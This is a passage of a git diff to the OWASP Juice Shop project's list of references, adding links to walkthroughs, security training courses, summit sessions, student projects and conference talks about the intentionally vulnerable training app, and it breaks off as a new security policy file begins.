Walkthrough](http://location-href.com/owasp-juice-shop-walkthroughs/) - :godmode: -* Blog post on [IncognitJoe](https://incognitjoe.github.io/): - [Hacking(and automating!) the OWASP Juice Shop](https://incognitjoe.github.io/hacking-the-juice-shop.html) - :godmode: - * [Automated solving script for the OWASP Juice Shop](https://github.com/incognitjoe/juice-shop-solver) - written in Python as mentioned in above blog post :godmode: * Guest post (:de:) on [Informatik Aktuell](http://www.informatik-aktuell.de/): [Juice Shop - Der kleine Saftladen für Sicherheitstrainings](http://www.informatik-aktuell.de/betrieb/sicherheit/juice-shop-der-kleine-saftladen-fuer-sicherheitstrainings.html) @@ -151,6 +183,16 @@ where this project was mentioned or used! ## Lectures and Trainings +* Courses on the [freeCodeCamp.org](https://www.YouTube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ) + YouTube channel + * [Ethical Hacking 101: Web App Penetration Testing - a full course for beginners](https://youtu.be/2_lswM1S264) :godmode: by HackerSploit + * [Web Application Ethical Hacking - Penetration Testing Course for Beginners](https://youtu.be/X4eRbHgRawI) :godmode: by The Cyber Mentor +* [Intro to Semgrep](https://lab.github.com/returntocorp/intro-to-semgrep) + GitHub Learning Lab +* [Real World Web Penetration Testing](https://training.secureideas.com/course/real-world-web-pentesting/start-course/) + course by Jason Gillam :dollar: +* [Brakeing Down Security Web App Sec Training #1](https://drive.google.com/drive/folders/0B-qfQ-gWynwidlJ1YjgxakdPWDA) + by Sunny Wear ([YouTube](https://www.YouTube.com/watch?v=zi3yDovd0RY)) * [Finding Website Vulnerabilities with Burp](https://www.packtpub.com/mapt/video/networking_and_servers/9781788399678/81304/81308/finding-website-vulnerabilities-with-burp) chapter :godmode: of the [Mastering Kali Linux Network Scanning](https://www.packtpub.com/networking-and-servers/mastering-kali-linux-network-scanning-video) @@ -165,8 +207,171 @@ where this project was mentioned or used! * [Web Application Security Training](https://de.slideshare.net/BjrnKimminich/web-application-security-21684264) by Björn Kimminich +## Summits & Open Source Events + +* [Juice Shop Track](https://open-security-summit-2020.heysummit.com/topics/owasp-juiceshop/) + at [Open Security Summit 2020](https://open-security-summit.org/) + * [OWASP Juice Shop Cocktail Party: Ask us anything!](https://open-security-summit-2020.heysummit.com/talks/owasp-juice-shop-cocktail-party-ask-us-anything/) + with Björn Kimminich, Jannik Hollenbach & Timo Pagel 15.06.2020 + ([YouTube](https://youtu.be/h5ApBfFMmao)) + * [OWASP Juice Shop Deep Dive: MultiJuicer](https://open-security-summit-2020.heysummit.com/talks/owasp-juice-shop-deep-dive-multijuicer/) + with Jannik Hollenbach & Robert Seedorf, 15.06.2020 + ([YouTube](https://youtu.be/1YHjkc3Xzd0)) + * [OWASP Juice Shop Deep Dive: Integration](https://open-security-summit-2020.heysummit.com/talks/owasp-juice-shop-deep-dive-integration/) + with Björn Kimminich, 15.06.2020 + ([YouTube](https://youtu.be/9SkUohiKgtU)) + * [OWASP Juice Shop Deep Dive: Theming](https://open-security-summit-2020.heysummit.com/talks/owasp-juice-shop-deep-dive-theming-1/) + with Björn Kimminich, 15.06.2020 + ([YouTube](https://youtu.be/WtY712DdlR8)) + * [OWASP Juice Shop Introduction](https://pre-summit-training-sessions.heysummit.com/talks/owasp-juice-shop-introduction/) + with Björn Kimminich, 11.06.2020 + ([YouTube](https://youtu.be/wCF08BdXdDg)) + * [MultiJuicer Introduction](https://pre-summit-training-sessions.heysummit.com/talks/multijuicer-introduction/) + with Jannik Hollenbach and Robert Seedorf, 02.06.2020 + ([YouTube](https://youtu.be/6NMjZbfnTOU)) + * [OWASP Juice Shop Introduction](https://pre-summit-training-sessions.heysummit.com/talks/owasp-juice-shop/) + with Björn Kimminich, 02.06.2020 + ([YouTube](https://youtu.be/Ry0mXz6ZPXc)) +* [Drinks with Adversaries: Creating Adversary Trading Cards](https://pre-summit-training-sessions.heysummit.com/talks/social-drinks-and-adversaries) + with Mark Miller at + [Open Security Summit 2020](https://open-security-summit.org/), + 01.06.2020 ([YouTube](https://www.YouTube.com/watch?v=3roVZNwptOU)) + :mega: +* Selected Project at + [OWASP Projects Summit - Winter 2020](https://owasp.org/www-staff/projects/202002-Projects-Summit-Q1.html) + with Björn Kimminich, Jannik Hollenbach and Marc Rüttler collaborating on + [prepared working packages](https://github.com/juice-shop/juice-shop/milestone/10) + and + [the `v10.0.0` release](https://owasp.org/2020/03/17/juice-shop-v10.html), 27.-29.02.2020 +* [OWASP Juice Shop track](https://github.com/OpenSecuritySummit/oss2019/tree/master/content/tracks/OWASP-Juice-Shop) + and related working sessions organized by Björn Kimminich, + [Open Security Summit 2019](https://github.com/OpenSecuritySummit/oss2019), 03.-07.06.2019 +* Juice Shop related working sessions organized by Jannik Hollenbach and Timo Pagel in + [OWASP Projects track](https://github.com/OpenSecuritySummit/oss2018/tree/master/content/tracks/OWASP-Projects), + [Open Security Summit 2018](https://github.com/OpenSecuritySummit/oss2018), 04.-08.06.2018 +* [Outcome of the Juice Shop track](https://github.com/OWASP/owasp-summit-2017/blob/master/Outcomes/Juice-Shop/Juce-Shop-Update.md) + and related working sessions organized by Björn Kimminich and Timo Pagel, + [OWASP Summit 2017](https://github.com/OWASP/owasp-summit-2017), 12.-16.06.2017 + +### [Google Summer of Code](http://owasp.org/gsoc) + +* Student project from + [Google Summer of Code 2021](https://summerofcode.withgoogle.com/archive/2021/projects) + * [Extending the features of the vulnerable code snippets](https://summerofcode.withgoogle.com/archive/2021/projects/5180407718346752P) + by Ayas Behera (mentored by Jannik Hollenbach and Björn Kimminich) +* Student project from + [Google Summer of Code 2020](https://summerofcode.withgoogle.com/archive/2020/projects) + * [Juice-Shop ChatBot and general fixes](https://summerofcode.withgoogle.com/archive/2020/projects/5660020047347712/) + by Mohit Sharma (mentored by Jannik Hollenbach, Björn Kimminich and Timo Pagel) +* Student project from + [Google Summer of Code 2019](https://summerofcode.withgoogle.com/archive/2019/projects) + * [OWASP Juice Shop: Feature Pack 2019](https://summerofcode.withgoogle.com/archive/2019/projects/6526397403627520/) + by Arpit Agrawal (mentored by Jannik Hollenbach, Björn Kimminich and Shoeb Patel) +* Student projects from + [Google Summer of Code 2018](https://summerofcode.withgoogle.com/archive/2018/projects) + * [OWASP Juice Shop : Challenge Pack 2018](https://summerofcode.withgoogle.com/archive/2018/projects/6267528737193984) + by Shoeb Patel (mentored by Jannik Hollenbach and Timo Pagel) + * [OWASP Juice Shop : Frontend Technology Update](https://summerofcode.withgoogle.com/archive/2018/projects/6636660909408256) + by Aashish Singh (mentored by Björn Kimminich) + ## Conference and Meetup Appearances +#### 2022 + +* [OWASP Juice Shop Project](https://whova.com/web/GKSmlhCK%2FWzBY2c8qqJ%2Bp7kNcnjsUQAQJ%2ByBsjLrbOo%3D/Speakers/) by Björn Kimminich, [OWASP Global AppSec EU](https://whova.com/web/GKSmlhCK%2FWzBY2c8qqJ%2Bp7kNcnjsUQAQJ%2ByBsjLrbOo%3D/), 10.06.2022 ([YouTube](https://www.youtube.com/watch?v=n9DK87g_AIo)) +* [Juice Shop 13: Now with Coding Challenges!](https://www.meetup.com/de-DE/OWASP-Hamburg-Stammtisch/events/282692845/) + by Björn Kimminich, [58. OWASP Stammtisch Hamburg](https://owasp.org/www-chapter-germany/stammtische/hamburg/), 13.01.2022 + +#### 2021 + +* [OWASP Juice Shop Flagship Project](https://owasp20thanniversaryevent20.sched.com/event/m1uL/owasp-juice-shop-flagship-project) + by Björn Kimminich, [OWASP 20th Anniversary Event](https://20thanniversary.owasp.org/), 24.09.2021 ([YouTube](https://youtu.be/rn-6NADRRmI) :godmode:) +* [SDLC con OWASP y laboratorio con OWASP Juice Shop](https://www.meetup.com/de-DE/OWASP-Uruguay-Chapter/events/279827017/) + (:uruguay:) with Martín Marsicano and Pablo Alzuri, + [OWASP Uruguay Chapter](https://owasp.org/www-chapter-uruguay/), + 19.08.2021 [YouTube](https://youtu.be/OAE1EnBNMlc?t=2722) :godmode: +* [Talking Juice Shop and Maintaining a Flagship OWASP Project with Björn Kimminich](https://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/278751084/) + , + [OWASP Northern Virginia Chapter](https://owasp.org/www-chapter-northern-virginia/), + 07.07.2021 ([YouTube](https://youtu.be/uejiQ9VvFu4)) +* [OWASP Aarhus Chapter Worskhop and CTF](https://www.meetup.com/de-DE/OWASP-Aarhus-Chapter/events/277659233/) + with Björn Kimminich, + [OWASP Aarhus Chapter](https://owasp.org/www-chapter-aarhus/), 06.05.2021 +* [Modern Web Application Hacking for Beginners](https://github.com/bkimminich/it-security-lecture/tree/workshop), + virtual 4h diversity training by Björn Kimminich, + [OWASP Training Events 2021 - 2020 SOS Re-run](https://github.com/OWASP/www-event-2021-training), 26.01.2021 + +#### 2020 + +* [FPs are Cheap. Show me the CVEs!](https://www.blackhat.com/eu-20/briefings/schedule/index.html#fps-are-cheap-show-me-the-cves-21345) + by Bas van Schaik & Kevin Backhouse, + [Black Hat Europe 2020](https://www.blackhat.com/eu-20/), 09.12.2020 +* [Juice Shop 12: Novelties by the litre (Online)](https://www.meetup.com/de-DE/OWASP-Hamburg-Stammtisch/events/272842835/) + by Björn Kimminich, + [48. OWASP Stammtisch Hamburg](https://owasp.org/www-chapter-germany/stammtische/hamburg/), + 24.11.2020 ([YouTube](https://youtu.be/AUhDItHHLiY)) +* [Modern Web Application Hacking for Beginners](https://github.com/bkimminich/it-security-lecture/tree/workshop), + virtual 4h diversity training by Björn Kimminich, + [AppSec Days - Summer of Security 2020](https://github.com/OWASP/www-event-2020-08-virtual), 25.08.2020 +* [OWASP Projects Panel](https://www.meetup.com/de-DE/womeninappsec/events/271754765/) + hosted by [OWASP WIA](https://www.meetup.com/womeninappsec/) moderated by Zoe Braiterman with panelists Bjoern + Kimminich, Glenn & Riccardo ten Cate and Spyros Gasteratos, 25.07.2020 + ([YouTube](https://youtu.be/d96-HCrSh2M)) +* [OWASP ZAP Intro (Online)](https://www.meetup.com/de-DE/OWASP-Hamburg-Stammtisch/events/270078609/) + by Simon Bennetts, + [48. OWASP Stammtisch Hamburg](https://owasp.org/www-chapter-germany/stammtische/hamburg/), + 23.04.2020 ([YouTube](https://youtu.be/SD28HdVI-Wk)) :mega: +* [ZAP in Ten, Extended Edition: Automation Deepdive](https://www.alldaydevops.com/addo-speakers/simom-bennetts) + by Simon Bennetts, + [All Day DevOps Spring Break Edition](https://www.alldaydevops.com/), 17.04.2020 :bulb: + +#### 2019 + +* [Juice Shop 9: Would you like a free refill?](https://god.owasp.de/archive/2019/) + by Björn Kimminich, + [German OWASP Day 2019](https://god.owasp.de/archive/2019/), + 10.12.2019 ([YouTube](https://www.YouTube.com/watch?v=L7h5uE7WDfg) + :bulb:) +* [S' OWASP Saft-Lädeli / The OWASP Juice Shop](https://www.meetup.com/de-DE/OWASPSwitzerland/events/264422942/) + by Björn Kimminich, + [OWASP Switzerland Chapter Meeting](https://www.meetup.com/de-DE/OWASPSwitzerland/), 18.11.2019 +* [OWASP Juice Shop: The ultimate All Vuln WebApp](https://www.alldaydevops.com/addo-speakers/bj%C3%B6rn-kimminich) + by Björn Kimminich, [All Day DevOps](https://www.alldaydevops.com/), 06.11.2019 + ([YouTube](https://www.YouTube.com/watch?v=-JuPprlGb48&t=13939s) + :bulb:) +* [Juice Shop](https://globalappsecamsterdam2019.sched.com/event/U84e/juice-shop) + by Björn Kimminich, Project Showcase track of the + [Global AppSec Amsterdam 2019](https://ams.globalappsec.org/), 26.09.2019 ([YouTube](https://youtu.be/XXkMY_VyJ-Y) : + bulb:) +* [Elbsides vs. Juice Shop](https://2019.elbsides.de/programme.html#elbsides-vs-juice-shop) + workshop with Björn Kimminich, + [Elbsides 2019](https://2019.elbsides.de), 16.09.2019 +* [Introduction to OWASP Juice Shop](https://bsidesmcr2019.sched.com/event/Sw0q/introduction-to-owasp-juice-shop) + by Tim Corless-Carter, + [BSidesMCR 2019](https://www.bsidesmcr.org.uk/), 29.08.2019 + ([YouTube](https://youtu.be/hlgp7oeVpac) :godmode:) +* [JavaScript-Security: "Pwn" den Juice Shop](https://enterjs.de/2019/single034c.html?id=7685&javascript-security%3A-%22pwn%22-den-juice-shop) + workshop with Timo Pagel & Björn Kimminich, + [enterJS 2019](https://www.enterjs.de/2019/), 25.06.2019 +* [Web Application Hacking with Burp Suite and OWASP ZAP](https://globalappsectelaviv2019.sched.com/event/MLSU/web-application-hacking-with-burp-suite-and-owasp-zap) + training with Vandana Verma, + [Global Appsec Tel Aviv 2019](https://globalappsectelaviv2019.sched.com), 28.05.2019 +* [A good first impression can work wonders: creating AppSec training that developers <3](https://locomocosec2019.sched.com/event/MGNM/a-good-first-impression-can-work-wonders-creating-appsec-training-that-developers-v) + by Leif Dreizler, + [LocoMocoSec 2019](https://locomocosec2019.sched.com/), 18.04.2019 +* [Pixels vs. Juice Shop](https://github.com/PixelsCamp/talks/blob/master/2019/pixels-vs-juice-shop_bjoern-kimminich.md) + workshop with Björn Kimminich, + [Pixels Camp v3.0](https://pixels.camp), 21.03.2019 +* [OWASP Juice Shop - First you :-D :-D then you :,-(](https://github.com/PixelsCamp/talks/blob/master/2019/owasp-juice-shop_bjoern-kimminich.md) + by Björn Kimminich, [Pixels Camp v3.0](https://pixels.camp), 21.03.2019 ([YouTube](https://youtu.be/v9qrAK_iBa0) : + bulb:) +* [News from the fruit press: Juice Shop 8](https://www.meetup.com/de-DE/OWASP-Hamburg-Stammtisch/events/258185324/) + by Björn Kimminich, + [39. OWASP Stammtisch Hamburg](https://www.meetup.com/de-DE/OWASP-Hamburg-Stammtisch), 27.02.2019 +* [Back to Basics: Hacking OWASP JuiceShop](https://www.owasp.org/index.php/Knoxville#Past_Meetings) + by Jeremy Kelso, + [OWASP Knoxville Chapter Meeting](https://www.owasp.org/index.php/Knoxville), 24.01.2019 + #### 2018 * [Secure Your Pipeline](https://www.facebook.com/events/441842706348978/) @@ -175,93 +380,78 @@ where this project was mentioned or used! * [Juice Shop: OWASP's most broken Flagship](https://www.owasp.org/index.php/OWASP_BeNeLux-Days_2018#tab=Conference_Day) by Björn Kimminich, [OWASP BeNeLux Days 2018](https://www.owasp.org/index.php/OWASP_BeNeLux-Days_2018), - 30.11.2018 ([Youtube](https://youtu.be/Lu0-kDdtVf4) :bulb:) + 30.11.2018 ([YouTube](https://youtu.be/Lu0-kDdtVf4) :bulb:) * [OWASP Zap](https://www.owasp.org/index.php/OWASP_BeNeLux-Days_2018#tab=Conference_Day) by David Scrobonia, [OWASP BeNeLux Days 2018](https://www.owasp.org/index.php/OWASP_BeNeLux-Days_2018), - 30.11.2018 ([Youtube](https://youtu.be/iaZaPuQ6ams)) + 30.11.2018 ([YouTube](https://youtu.be/iaZaPuQ6ams)) * [The traditional/inevitable OWASP Juice Shop update](https://owasp.github.io/german-owasp-day/archive/2018/) by Björn Kimminich, [German OWASP Day 2018](https://owasp.github.io/german-owasp-day/archive/2018/), - 20.11.2018 ([Youtube](https://youtu.be/2oNfZo2H4uA)) + 20.11.2018 ([YouTube](https://youtu.be/2oNfZo2H4uA)) * [Workshop: OWASP Juice Shop](https://owasp.github.io/german-owasp-day/archive/2018/) by Björn Kimminich, - [German OWASP Day 2018](https://owasp.github.io/german-owasp-day/archive/2018/), - 19.11.2018 + [German OWASP Day 2018](https://owasp.github.io/german-owasp-day/archive/2018/), 19.11.2018 * [OWASP Portland Chapter Meeting - OWASP Juice Shop!](http://calagator.org/events/1250474481) facilitated by David Quisenberry, - [OWASP Portland Chapter](https://www.owasp.org/index.php/Portland), - 08.11.2018 + [OWASP Portland Chapter](https://www.owasp.org/index.php/Portland), 08.11.2018 * [OWASP Juice Shop - Public Lecture](https://www.facebook.com/events/674384206291349) by Björn Kimminich, [TalTech Infotehnoloogia Kolledž](https://www.facebook.com/itcollege.ee), - 24.10.2018 ([Youtube](https://youtu.be/79G46CQ3IMk?t=158) :godmode: + 24.10.2018 ([YouTube](https://youtu.be/79G46CQ3IMk?t=158) :godmode: _starting 14:55_) * [JUGHH: Security Hackathon](https://www.meetup.com/jug-hamburg/events/254885956/) by [iteratec](https://www.iteratec.de/), - [Java User Group Hamburg](https://www.meetup.com/jug-hamburg), - 11.10.2018 + [Java User Group Hamburg](https://www.meetup.com/jug-hamburg), 11.10.2018 * [Playing with OWASP Juice Shop](https://mozilla.or.id/en/space/events/258-playing-with-owasp-juice-shop.html) - by Mohammad Febri R, [Mozilla Indonesia](https://mozilla.or.id/), - 05.08.2018 + by Mohammad Febri R, [Mozilla Indonesia](https://mozilla.or.id/), 05.08.2018 ([Slides](https://slides.com/mohammadfebri/owasp-juice-shop)) * [OWASP Juice Shop どうでしょう](https://speakerdeck.com/ninoseki/owasp-juice-shop-doudesiyou) by Manabu Niseki, - [OWASP Night 2018/7](https://owasp.doorkeeper.jp/events/77466), - 30.07.2018 + [OWASP Night 2018/7](https://owasp.doorkeeper.jp/events/77466), 30.07.2018 * [Usable Security Tooling - Creating Accessible Security Testing with ZAP](https://www.meetup.com/de-DE/Bay-Area-OWASP/events/252283865/) by David Scrobonia, [OWASP Meetup - SF July 2018](https://www.meetup.com/de-DE/Bay-Area-OWASP/), - 26.07.2018 ([Youtube](https://www.youtube.com/watch?v=ztfgip-UhWw)) + 26.07.2018 ([YouTube](https://www.YouTube.com/watch?v=ztfgip-UhWw)) * [Building an AppSec Program with a Budget of $0: Beyond the OWASP Top 10](https://appseceurope2018a.sched.com/event/EgXt/building-an-appsec-program-with-a-budget-of-0-beyond-the-owasp-top-10) by Chris Romeo, [OWASP AppSec Europe 2018](https://2018.appsec.eu), - 06.07.2018 ([Youtube](https://www.youtube.com/watch?v=5RmHQKeXgk4)) + 06.07.2018 ([YouTube](https://www.YouTube.com/watch?v=5RmHQKeXgk4)) :mega: * [OWASP Juice Shop: Betreutes Hacken](https://www.meetup.com/de-DE/owasp-karlsruhe/events/251041169/) with - [OWASP Stammtisch Karlsruhe](https://www.owasp.org/index.php/OWASP_Stammtisch_Karlsruhe), - 04.06.2018 + [OWASP Stammtisch Karlsruhe](https://www.owasp.org/index.php/OWASP_Stammtisch_Karlsruhe), 04.06.2018 * [Hacking Workshop - Twin Cities vs. OWASP Juice Shop](https://secure360.org/secure360-twin-cities/schedule/?conference=9826&date=20180517) with Björn Kimminich, - [Secure360 Twin Cities](https://secure360.org/secure360-twin-cities/), - 17.05.2018 + [Secure360 Twin Cities](https://secure360.org/secure360-twin-cities/), 17.05.2018 * [OWASP Juice Shop - The Ultimate Vulnerable WebApp](https://secure360.org/session/bjorn-kimminich-owasp-juice-shop-the-ultimate-vulnerable-webapp/?conference=9826&date=20180516) by Björn Kimminich, - [Secure360 Twin Cities](https://secure360.org/secure360-twin-cities/), - 16.05.2018 + [Secure360 Twin Cities](https://secure360.org/secure360-twin-cities/), 16.05.2018 * [OWASP MSP Chapter May Meeting](https://www.meetup.com/OWASP-MSP-Meetup/events/249940370/) with Björn Kimminich, - [OWASP MSP Meetup](https://www.meetup.com/OWASP-MSP-Meetup/) St Paul, - 14.05.2018 + [OWASP MSP Meetup](https://www.meetup.com/OWASP-MSP-Meetup/) St Paul, 14.05.2018 * [OWASP Juice Shop - The next chapter ...](https://www.meetup.com/CyberHackathon/events/249606655/?eventId=249606655) with Jaan Janesmae, - [CyberHackathon](https://www.meetup.com/CyberHackathon/) Tallinn, - 30.04.2018 + [CyberHackathon](https://www.meetup.com/CyberHackathon/) Tallinn, 30.04.2018 * OWASP Juice Shop Introduction at [ChaosTreff Tallinn Weekly Meetup](https://www.meetup.com/ChaosTreff-Tallinn/events/249627780/) with Björn Kimminich, - [ChaosTreff Tallinn](https://www.meetup.com/ChaosTreff-Tallinn/), - 26.04.2018 + [ChaosTreff Tallinn](https://www.meetup.com/ChaosTreff-Tallinn/), 26.04.2018 * [OWASP Juice Shop Intro and Getting Started](https://www.meetup.com/CyberHackathon/events/249359520/?eventId=249359520) with Jaan Janesmae, - [CyberHackathon](https://www.meetup.com/CyberHackathon/) Tallinn, - 09.04.2018 + [CyberHackathon](https://www.meetup.com/CyberHackathon/) Tallinn, 09.04.2018 * [Web Application Security: A Hands-on Testing Challenge](https://dojo.ministryoftesting.com/events/testbash-brighton-2018) by Dan Billing, - [TestBash Brighton 2018](https://dojo.ministryoftesting.com/events/testbash-brighton-2018), - 15.03.2018 -* [OWASP Top 10](https://appseccalifornia2018.sched.com/event/CuRs) by - Andrew van der Stock, + [TestBash Brighton 2018](https://dojo.ministryoftesting.com/events/testbash-brighton-2018), 15.03.2018 +* [OWASP Top 10](https://appseccalifornia2018.sched.com/event/CuRs) by Andrew van der Stock, [OWASP AppSec California 2018](https://2018.appseccalifornia.org/), - 30.01.2018 ([Youtube](https://www.youtube.com/watch?v=TXAztSpYpvE) + 30.01.2018 ([YouTube](https://www.YouTube.com/watch?v=TXAztSpYpvE) :godmode: _starting 25:40_) #### 2017 * [OWASP Juice Shop 5.x and beyond](https://www.owasp.org/index.php/German_OWASP_Day_2017#Programm) by Björn Kimminich, - [German OWASP Day 2017](https://www.owasp.org/index.php/German_OWASP_Day_2017), - 14.11.2017 + [German OWASP Day 2017](https://www.owasp.org/index.php/German_OWASP_Day_2017), 14.11.2017 * [OWASP Juice Shop Introduction](https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2017#tab=Conference_talks) talk and [AppSec Bucharest vs. OWASP Juice Shop](https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2017#tab=Free_workshops) @@ -270,103 +460,86 @@ where this project was mentioned or used! 13.10.2017 * [2 Hour Hacking: Juice Shop](https://www.meetup.com/de-DE/OWASP-Los-Angeles/events/238321796/) by Timo Pagel, - [OWASP Los Angeles](https://www.meetup.com/de-DE/OWASP-Los-Angeles/), - 10.10.2017 + [OWASP Los Angeles](https://www.meetup.com/de-DE/OWASP-Los-Angeles/), 10.10.2017 * [Hacking the OWASP Juice Shop](https://www.owasp.org/index.php/North_Sweden#2017-09-19_-_2017q3:_Hacking_the_OWASP_Juice_Shop) with Björn Kimminich, - [OWASP North Sweden Chapter](https://www.owasp.org/index.php/North_Sweden), - 19.09.2017 + [OWASP North Sweden Chapter](https://www.owasp.org/index.php/North_Sweden), 19.09.2017 * [OWASP Juice Shop Workshop](https://www.linkedin.com/feed/update/urn:li:activity:6309257579876929537) with Björn Kimminich, - [OWASP Stockholm Chapter](https://www.owasp.org/index.php/Stockholm), - 18.09.2017 + [OWASP Stockholm Chapter](https://www.owasp.org/index.php/Stockholm), 18.09.2017 * Hacking session at [Angular Talk & Code](https://www.meetup.com/de-DE/Hamburg-AngularJS-Meetup/events/234414398/) with Björn Kimminich, - [Angular Meetup Hamburg](https://www.meetup.com/de-DE/Hamburg-AngularJS-Meetup/), - 13.09.2017 -* Capture The Flag - Security Game by Benjamin Brunzel, Jöran Tesse, - Rüdiger Heins & Sven Strittmatter, + [Angular Meetup Hamburg](https://www.meetup.com/de-DE/Hamburg-AngularJS-Meetup/), 13.09.2017 +* Capture The Flag - Security Game by Benjamin Brunzel, Jöran Tesse, Rüdiger Heins & Sven Strittmatter, [solutions.hamburg](https://solutions.hamburg), 08.09.2017 * OWASP Juice Shop - Einmal quer durch den Security-Saftladen by Björn Kimminich, [solutions.hamburg](https://solutions.hamburg), 08.09.2017 * [Black Box Threat Modeling](https://www.peerlyst.com/posts/bsidestlv-2017-black-box-threat-modeling-avid) - by Avi Douglen, [BSides Tel Aviv 2017](https://bsidestlv.com/), - Underground Track, 28.06.2017 + by Avi Douglen, [BSides Tel Aviv 2017](https://bsidestlv.com/), Underground Track, 28.06.2017 * [OWASP update](https://www.meetup.com/OWASP-Bristol/events/235736793) by Katy Anton, - [OWASP Bristol (UK) Chapter](https://www.owasp.org/index.php/Bristol), - 22.06.2017 -* [Juice Shop](https://owaspsummit.org/Outcomes/Juice-Shop/Juce-Shop-Update.html) - and related working sessions, - [OWASP Summit 2017](https://owaspsummit.org), 12.-16.06.2017 + [OWASP Bristol (UK) Chapter](https://www.owasp.org/index.php/Bristol), 22.06.2017 * [Update on OWASP Projects & Conferences](https://www.owasp.org/index.php/London#Thursday.2C_18th_May_2017_.28Central_London.29) by Sam Stepanyan, [OWASP London Chapter](https://www.owasp.org/index.php/London#OWASP_London) Meeting, 18.05.2017 -* [OWASP Juice Shop: Achieving sustainability for open source projects](https://appseceurope2017.sched.com/event/A66A/owasp-juice-shop-achieving-sustainability-for-open-source-projects), +* [OWASP Juice Shop: Achieving sustainability for open source projects](https://appseceurope2017.sched.com/event/A66A/owasp-juice-shop-achieving-sustainability-for-open-source-projects) + , [AppSec Europe 2017](https://2017.appsec.eu) by Björn Kimminich, - 11.05.2017 ([Youtube](https://www.youtube.com/watch?v=bOSdFnFAYNc)) + 11.05.2017 ([YouTube](https://www.YouTube.com/watch?v=bOSdFnFAYNc)) * [OWASP Juice Shop: Stammtisch-Lightning-Update](http://lanyrd.com/2017/owasp-de/sfrdtq/) by Björn Kimminich, - [27. OWASP Stammtisch Hamburg](http://lanyrd.com/2017/owasp-de/), - 25.04.2017 + [27. OWASP Stammtisch Hamburg](http://lanyrd.com/2017/owasp-de/), 25.04.2017 * [Juice Shop Hacking Session](https://www.xing.com/events/juice-shop-hacking-session-1771555) by Jens Hausherr, - [Software-Test User Group Hamburg](https://www.xing.com/communities/groups/software-test-user-group-hamburg-1207-1002644), - 21.03.2017 + [Software-Test User Group Hamburg](https://www.xing.com/communities/groups/software-test-user-group-hamburg-1207-1002644) + , 21.03.2017 * [Hands on = Juice Shop Hacking Session](http://lanyrd.com/2017/software-tester-group-hamburg-16032017/sfqcxq/) by Björn Kimminich, [Software Tester Group Hamburg (English-speaking)](http://lanyrd.com/2017/software-tester-group-hamburg-16032017), 16.03.2017 * [Kurzvortrag: Hack the Juice Shop](https://www.meetup.com/de-DE/phpughh/events/235572004/) by Timo Pagel, - [PHP-Usergroup Hamburg](https://www.meetup.com/de-DE/phpughh/), - 14.02.2017 + [PHP-Usergroup Hamburg](https://www.meetup.com/de-DE/phpughh/), 14.02.2017 #### 2016 * [Lightning Talk: What's new in OWASP Juice Shop](https://www.owasp.org/index.php/German_OWASP_Day_2016#Programm) by Björn Kimminich, - [German OWASP Day 2016](https://www.owasp.org/index.php/German_OWASP_Day_2016/), - 29.11.2016 + [German OWASP Day 2016](https://www.owasp.org/index.php/German_OWASP_Day_2016/), 29.11.2016 * [Gothenburg pwns the OWASP Juice Shop](https://owaspgbgday.se/bjorn-kimminich-gothenburg-pwns-the-owasp-juice-shop-workshop/) by Björn Kimminich, [OWASP Gothenburg Day 2016](https://owaspgbgday.se/), 24.11.2016 * [Hacking the OWASP Juice Shop](http://lanyrd.com/2016/owasp-nl/sffmpr/) by Björn Kimminich, [OWASP NL Chapter Meeting](http://lanyrd.com/2016/owasp-nl/), - 22.09.2016 ([Youtube](https://www.youtube.com/watch?v=62Mj0ZgZvXc), + 22.09.2016 ([YouTube](https://www.YouTube.com/watch?v=62Mj0ZgZvXc), :godmode: _in last 10min_) * [Hacking-Session für Developer (und Pentester)](https://www.kieler-linuxtage.de/index.php?seite=programm.html#226) by Timo Pagel, - [Kieler Open Source und Linux Tage](https://www.kieler-linuxtage.de/index.php?seite=programm.html), - 16.09.2016 + [Kieler Open Source und Linux Tage](https://www.kieler-linuxtage.de/index.php?seite=programm.html), 16.09.2016 * [Security-Auditing aus der Cloud – Softwareentwicklung kontinuierlich auf dem Prüfstand](http://www.sea-con.de/seacon2016/konferenz/konferenzprogramm/vortrag/do-41-2/title/security-auditing-aus-der-cloud-softwareentwicklung-kontinuierlich-auf-dem-pruefstand.html) by Robert Seedorff & Benjamin Pfänder, [SeaCon 2016](http://www.sea-con.de/seacon2016), 12.05.2016 * [Hacking the Juice Shop ("So ein Saftladen!")](http://lanyrd.com/2016/javaland/sdtbph/) - by Björn Kimminich, [JavaLand 2016](http://lanyrd.com/2016/javaland/), - 08.03.2016 + by Björn Kimminich, [JavaLand 2016](http://lanyrd.com/2016/javaland/), 08.03.2016 * [Hacking the JuiceShop! ("Hackt den Saftladen!")](http://lanyrd.com/2016/nodehamburg/sdxtch/) by Björn Kimminich, - [node.HH Meetup: Security!](http://lanyrd.com/2016/nodehamburg/), - 03.02.2016 + [node.HH Meetup: Security!](http://lanyrd.com/2016/nodehamburg/), 03.02.2016 * [OWASP Top 5 Web-Risiken](http://lanyrd.com/2016/nodehamburg/sdxtcg/) by Timo Pagel, - [node.HH Meetup: Security!](http://lanyrd.com/2016/nodehamburg/), - 03.02.2016 + [node.HH Meetup: Security!](http://lanyrd.com/2016/nodehamburg/), 03.02.2016 #### 2015 * [Lightning Talk: Hacking the Juice Shop ("So ein Saftladen!")](http://lanyrd.com/2015/owasp-d2015/sdtzgg/) by Björn Kimminich, - [German OWASP Day 2015](http://lanyrd.com/2015/owasp-d2015/), - 01.12.2015 + [German OWASP Day 2015](http://lanyrd.com/2015/owasp-d2015/), 01.12.2015 * [Juice Shop - Hacking an intentionally insecure JavaScript Web Application](http://lanyrd.com/2015/jsunconf/sdmpzk/) by Björn Kimminich, [JS Unconf 2015](http://lanyrd.com/2015/jsunconf/), 25.04.2015 * [So ein Saftladen! - Hacking Session für Developer (und Pentester)](http://lanyrd.com/2015/owasp-de/sdhctr/) by Björn Kimminich, - [17. OWASP Stammtisch Hamburg](http://lanyrd.com/2015/owasp-de/), - 27.01.2015 + [17. OWASP Stammtisch Hamburg](http://lanyrd.com/2015/owasp-de/), 27.01.2015 + diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 00000000000..ff712c0ecec --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,126 @@ +# Security Policy + +OWASP Juice Shop is an _intentionally vulnerable_ web application, but we still do not want to be suprised by zero day +vulnerabilities which are not part of our hacking challenges. We are following the proposed Internet +standard so you can find our +"security" policy in any running instance of the application at the 